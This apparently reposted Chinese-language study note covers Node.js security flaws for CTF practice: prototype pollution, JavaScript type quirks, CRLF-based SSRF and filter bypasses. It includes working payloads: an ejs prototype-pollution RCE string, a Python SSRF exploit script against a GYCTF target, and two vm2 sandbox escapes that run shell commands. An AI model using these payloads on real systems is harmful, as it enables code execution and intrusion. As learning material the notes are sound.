Node.js 相關安全問題


通用

拿到package.json首先npm audit看看依賴庫有沒有漏洞

原型鏈污染

漏洞特征

深入理解 JavaScript Prototype 污染攻擊
以下內容出自p神的文章

我們思考一下,哪些情況下我們可以設置__proto__的值呢?其實找找能夠控制數組(對象)的“鍵名”的操作即可:

  • 對象merge
  • 對象clone(其實內核就是將待操作的對象merge到一個空對象中)
    以對象merge為例,我們想象一個簡單的merge函數:
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

express框架如果use(bodyParser.json())或者use(express.json()),支持通過content-type接收JSON輸入,我們改為application/json直接輸入json數據。

ejs

Express+lodash+ejs: 從原型鏈污染到RCE
ejsrender渲染中有大量代碼拼接

if (!this.source) {
  this.generateSource();
  prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
  if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
  }
  if (opts._with !== false) {
    prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
    appended += '  }' + '\n';
  }
  appended += '  return __output.join("");' + '\n';
  this.source = prepended + this.source + appended;
}

如果能覆蓋opts.outputFunctionName,這樣我們構造的payload就會被拼接進js語句中,並在ejs渲染時進行RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

同理,覆蓋escapeFn也可以

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

lodash

CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr

{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合並時便會在Object上附加a=b這樣一個屬性

JQuery

$.extend(deep,clone,copy)會執行一個merge操作,如果copy中有名為__proto__的屬性,則會向上影響原型

JavaScript特性

JavaScript大小寫特性

Node.js 常見漏洞學習與總結

  • 字符ıſ 經過toUpperCase處理后結果為 IS
  • 字符經過toLowerCase處理后結果為k(這個K不是K)

js弱類型

  • ==比較
type {} [] 0 1 "" true false undefined
{} true false false false false false false false
[] false true true false true false true false
0 false true true false true false true false
1 false false false true false true false false
"" false true true false true false true false
true false false false true false true false false
false false true true false true false true false
undefined false false false false false false false true
  • +
    • 如果兩個操作數都是字符串,則將第二個操作數與第一個操作數拼接起來
    • 如果只有一個操作數是字符串,則將另一個操作數轉換為字符串,然后再將兩個字符串拼接
    • 如果有一個操作數是對象、數值或布爾值,則調用它們的toString()方法取得相應的字符串
    • 對於undefinednull,則分別調用String()函數並取得字符串"undefined""null"

亂七八糟

HackTM中一道Node.js題分析(Draw with us)

js中的對象只能使用String類型作為鍵類型,什么別的類型傳進去就要做一次toString()

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

sort()方法用原地算法對數組的元素進行排序,並返回數組。默認排序順序是在將元素轉換為字符串,然后比較它們的UTF-16代碼單元值序列時構建的

const array1 = [1, 30, 4, 21, 100000];
array1.sort();
console.log(array1);
// expected output: Array [1, 100000, 21, 30, 4]

多字節編碼截斷

通過拆分攻擊實現的SSRF攻擊

雖然用戶發出的http請求通常將請求路徑指定為字符串,但Node.js最終必須將請求作為原始字節輸出。JavaScript支持unicode字符串,因此將它們轉換為字節意味着選擇並應用適當的unicode編碼。對於不包含主體的請求,Node.js默認使用“latin1”,這是一種單字節編碼,不能表示高編號的unicode字符。相反,這些字符被截斷為其JavaScript表示的最低字節

> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'

例題:[GYCTF2020]Node Game
利用Nodejs 10以下http模塊存在的編碼問題和crlf注入達到ssrf

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close

POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close

------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
    head
        title flag
    body
        include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--



GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

vm沙箱逃逸

Buffer leak

在較早一點的 node 版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,並且這個 Buffer 是未清零的。8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。

vm2v3.8.3

Breakout in v3.8.3 #225

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

或者

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

bypass

  • 過濾關鍵詞,可以使用`,例如`${`${`prototyp`}e`}`
  • 對象的屬性可以用object['attr'],也可以object.attr
  • String.fromCharCode()可以將數字和字母轉換

參考鏈接

Node.js 常見漏洞學習與總結
i春秋2020新春戰“疫”網絡安全公益賽GYCTF 兩個 NodeJS 題 WriteUp
Javascript 原型鏈污染 分析
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM